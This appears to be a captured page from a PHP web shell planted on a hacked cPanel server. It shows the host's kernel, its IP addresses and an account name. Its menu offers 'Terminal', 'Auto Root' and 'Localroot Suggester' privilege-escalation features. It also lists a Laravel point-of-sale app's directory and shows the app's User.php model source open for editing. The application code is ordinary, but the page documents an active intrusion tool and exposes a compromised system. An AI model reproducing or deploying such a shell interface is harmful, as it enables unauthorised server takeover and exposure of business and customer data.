Linux amd.servercpanel.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
LiteSpeed
Server IP : 161.248.188.165 & Your IP : 216.73.216.219
Domains :
Cant Read [ /etc/named.conf ]
User : oishifashion
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
oishifashion /
ap.tsgbd.com /
app /
Delete
Unzip
Name
Size
Permission
Date
Action
Backup
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Charts
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Console
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Events
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Exceptions
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Exports
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Http
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Listeners
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Mail
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Notifications
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Providers
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Restaurant
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Rules
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Utils
[ DIR ]
drwxr-xr-x
2025-12-16 01:59
Account.php
3.89
KB
-rw-r--r--
2025-12-16 01:59
AccountTransaction.php
4.44
KB
-rw-r--r--
2025-12-16 01:59
AccountType.php
486
B
-rw-r--r--
2025-12-16 01:59
Barcode.php
221
B
-rw-r--r--
2025-12-16 01:59
Brands.php
1.01
KB
-rw-r--r--
2025-12-16 01:59
Business.php
2.78
KB
-rw-r--r--
2025-12-16 01:59
BusinessLocation.php
5.42
KB
-rw-r--r--
2025-12-16 01:59
CashDenomination.php
230
B
-rw-r--r--
2025-12-16 01:59
CashRegister.php
585
B
-rw-r--r--
2025-12-16 01:59
CashRegisterTransaction.php
237
B
-rw-r--r--
2025-12-16 01:59
Category.php
2.92
KB
-rw-r--r--
2025-12-16 01:59
Contact.php
12.51
KB
-rw-r--r--
2025-12-16 01:59
Currency.php
104
B
-rw-r--r--
2025-12-16 01:59
CustomerGroup.php
1016
B
-rw-r--r--
2025-12-16 01:59
DashboardConfiguration.php
111
B
-rw-r--r--
2025-12-16 01:59
Discount.php
483
B
-rw-r--r--
2025-12-16 01:59
DocumentAndNote.php
928
B
-rw-r--r--
2025-12-16 01:59
ExpenseCategory.php
811
B
-rw-r--r--
2025-12-16 01:59
GroupSubTax.php
213
B
-rw-r--r--
2025-12-16 01:59
InvoiceLayout.php
1.06
KB
-rw-r--r--
2025-12-16 01:59
InvoiceScheme.php
836
B
-rw-r--r--
2025-12-16 01:59
Media.php
6.31
KB
-rw-r--r--
2025-12-16 01:59
NotificationTemplate.php
17.09
KB
-rw-r--r--
2025-12-16 01:59
PaymentAccount.php
693
B
-rw-r--r--
2025-12-16 01:59
Printer.php
1.65
KB
-rw-r--r--
2025-12-16 01:59
Product.php
5.34
KB
-rw-r--r--
2025-12-16 01:59
ProductRack.php
225
B
-rw-r--r--
2025-12-16 01:59
ProductVariation.php
448
B
-rw-r--r--
2025-12-16 01:59
PurchaseLine.php
1.85
KB
-rw-r--r--
2025-12-16 01:59
ReferenceCount.php
228
B
-rw-r--r--
2025-12-16 01:59
SellingPriceGroup.php
1.58
KB
-rw-r--r--
2025-12-16 01:59
StockAdjustmentLine.php
474
B
-rw-r--r--
2025-12-16 01:59
System.php
2.33
KB
-rw-r--r--
2025-12-16 01:59
TaxRate.php
2.66
KB
-rw-r--r--
2025-12-16 01:59
Transaction.php
13.43
KB
-rw-r--r--
2025-12-16 01:59
TransactionPayment.php
3.16
KB
-rw-r--r--
2025-12-16 01:59
TransactionSellLine.php
2.61
KB
-rw-r--r--
2025-12-16 01:59
TransactionSellLinesPurchaseLines.php
375
B
-rw-r--r--
2025-12-16 01:59
TypesOfService.php
758
B
-rw-r--r--
2025-12-16 01:59
Unit.php
1.28
KB
-rw-r--r--
2025-12-16 01:59
User.php
8.89
KB
-rw-r--r--
2025-12-16 01:59
UserContactAccess.php
113
B
-rw-r--r--
2025-12-16 01:59
Variation.php
1.62
KB
-rw-r--r--
2025-12-16 01:59
VariationGroupPrice.php
819
B
-rw-r--r--
2025-12-16 01:59
VariationLocationDetails.php
238
B
-rw-r--r--
2025-12-16 01:59
VariationTemplate.php
401
B
-rw-r--r--
2025-12-16 01:59
VariationValueTemplate.php
419
B
-rw-r--r--
2025-12-16 01:59
Warranty.php
1.3
KB
-rw-r--r--
2025-12-16 01:59
Save
Rename
<?php namespace App; use DB; use Illuminate\Database\Eloquent\Factories\HasFactory; use Illuminate\Database\Eloquent\SoftDeletes; use Illuminate\Foundation\Auth\User as Authenticatable; use Illuminate\Notifications\Notifiable; use Illuminate\Support\Facades\Hash; use Laravel\Passport\HasApiTokens; use Spatie\Permission\Traits\HasRoles; class User extends Authenticatable { use HasFactory; use Notifiable; use SoftDeletes; use HasRoles; use HasApiTokens; /** * The attributes that aren't mass assignable. * * @var array */ protected $guarded = ['id']; /** * The attributes that should be hidden for arrays. * * @var array */ protected $hidden = [ 'password', 'remember_token', ]; // change api guard to web protected $guard_name = 'web'; /** * The attributes that should be mutated to dates. * * @var array */ /** * Get the business that owns the user. */ public function business() { return $this->belongsTo(\App\Business::class); } public function scopeUser($query) { return $query->where('users.user_type', 'user'); } /** * The contact the user has access to. * Applied only when selected_contacts is true for a user in * users table */ public function contactAccess() { return $this->belongsToMany(\App\Contact::class, 'user_contact_access'); } /** * Get all of the users's notes & documents. */ public function documentsAndnote() { return $this->morphMany(\App\DocumentAndNote::class, 'notable'); } /** * Creates a new user based on the input provided. * * @return object */ public static function create_user($details) { $user = User::create([ 'surname' => $details['surname'], 'first_name' => $details['first_name'], 'last_name' => $details['last_name'], 'username' => $details['username'], 'email' => $details['email'], 'password' => Hash::make($details['password']), 'language' => ! empty($details['language']) ? $details['language'] : 'en', ]); return $user; } /** * Gives locations permitted for the logged in user * * @param: int $business_id * * @return string or array */ public function permitted_locations($business_id = null) { $user = $this; if ($user->can('access_all_locations')) { return 'all'; } else { $business_id = ! is_null($business_id) ? $business_id : null; if (empty($business_id) && auth()->check()) { $business_id = auth()->user()->business_id; } if (empty($business_id) && session()->has('business')) { $business_id = session('business.id'); } $permitted_locations = []; $all_locations = BusinessLocation::where('business_id', $business_id)->get(); $permissions = $user->permissions->pluck('name')->all(); foreach ($all_locations as $location) { if (in_array('location.'.$location->id, $permissions)) { $permitted_locations[] = $location->id; } } return $permitted_locations; } } /** * Returns if a user can access the input location * * @param: int $location_id * * @return bool */ public static function can_access_this_location($location_id, $business_id = null) { $permitted_locations = auth()->user()->permitted_locations($business_id); if ($permitted_locations == 'all' || in_array($location_id, $permitted_locations)) { return true; } return false; } public function scopeOnlyPermittedLocations($query) { $user = auth()->user(); $permitted_locations = $user->permitted_locations(); $is_admin = $user->hasAnyPermission('Admin#'.$user->business_id); if ($permitted_locations != 'all' && ! $user->can('superadmin') && ! $is_admin) { $permissions = ['access_all_locations']; foreach ($permitted_locations as $location_id) { $permissions[] = 'location.'.$location_id; } return $query->whereHas('permissions', function ($q) use ($permissions) { $q->whereIn('permissions.name', $permissions); }); } else { return $query; } } /** * Return list of users dropdown for a business * * @param $business_id int * @param $prepend_none = true (boolean) * @param $include_commission_agents = false (boolean) * @return array users */ public static function forDropdown($business_id, $prepend_none = true, $include_commission_agents = false, $prepend_all = false, $check_location_permission = false) { $query = User::where('business_id', $business_id) ->user(); if (! $include_commission_agents) { $query->where('is_cmmsn_agnt', 0); } if ($check_location_permission) { $query->onlyPermittedLocations(); } $all_users = $query->select('id', DB::raw("CONCAT(COALESCE(surname, ''),' ',COALESCE(first_name, ''),' ',COALESCE(last_name,'')) as full_name"))->get(); $users = $all_users->pluck('full_name', 'id'); //Prepend none if ($prepend_none) { $users = $users->prepend(__('lang_v1.none'), ''); } //Prepend all if ($prepend_all) { $users = $users->prepend(__('lang_v1.all'), ''); } return $users; } /** * Return list of sales commission agents dropdown for a business * * @param $business_id int * @param $prepend_none = true (boolean) * @return array users */ public static function saleCommissionAgentsDropdown($business_id, $prepend_none = true) { $all_cmmsn_agnts = User::where('business_id', $business_id) ->where('is_cmmsn_agnt', 1) ->select('id', DB::raw("CONCAT(COALESCE(surname, ''),' ',COALESCE(first_name, ''),' ',COALESCE(last_name,'')) as full_name")); $users = $all_cmmsn_agnts->pluck('full_name', 'id'); //Prepend none if ($prepend_none) { $users = $users->prepend(__('lang_v1.none'), ''); } return $users; } /** * Return list of users dropdown for a business * * @param $business_id int * @param $prepend_none = true (boolean) * @param $prepend_all = false (boolean) * @return array users */ public static function allUsersDropdown($business_id, $prepend_none = true, $prepend_all = false) { $all_users = User::where('business_id', $business_id) ->select('id', DB::raw("CONCAT(COALESCE(surname, ''),' ',COALESCE(first_name, ''),' ',COALESCE(last_name,'')) as full_name")); $users = $all_users->pluck('full_name', 'id'); //Prepend none if ($prepend_none) { $users = $users->prepend(__('lang_v1.none'), ''); } //Prepend all if ($prepend_all) { $users = $users->prepend(__('lang_v1.all'), ''); } return $users; } /** * Get the user's full name. * * @return string */ public function getUserFullNameAttribute() { return "{$this->surname} {$this->first_name} {$this->last_name}"; } /** * Return true/false based on selected_contact access * * @return bool */ public static function isSelectedContacts($user_id) { $user = User::findOrFail($user_id); return (bool) $user->selected_contacts; } public function getRoleNameAttribute() { $role_name_array = $this->getRoleNames(); $role_name = ! empty($role_name_array[0]) ? explode('#', $role_name_array[0])[0] : ''; return $role_name; } public function media() { return $this->morphOne(\App\Media::class, 'model'); } /** * Find the user instance for the given username. * * @param string $username * @return \App\User */ public function findForPassport($username) { return $this->where('username', $username)->first(); } /** * Get the contact for the user. */ public function contact() { return $this->belongsTo(\Modules\Crm\Entities\CrmContact::class, 'crm_contact_id'); } /** * Get the products image. * * @return string */ public function getImageUrlAttribute() { if (isset($this->media->display_url)) { $img_src = $this->media->display_url; } else { $img_src = 'https://ui-avatars.com/api/?name='.$this->first_name; } return $img_src; } }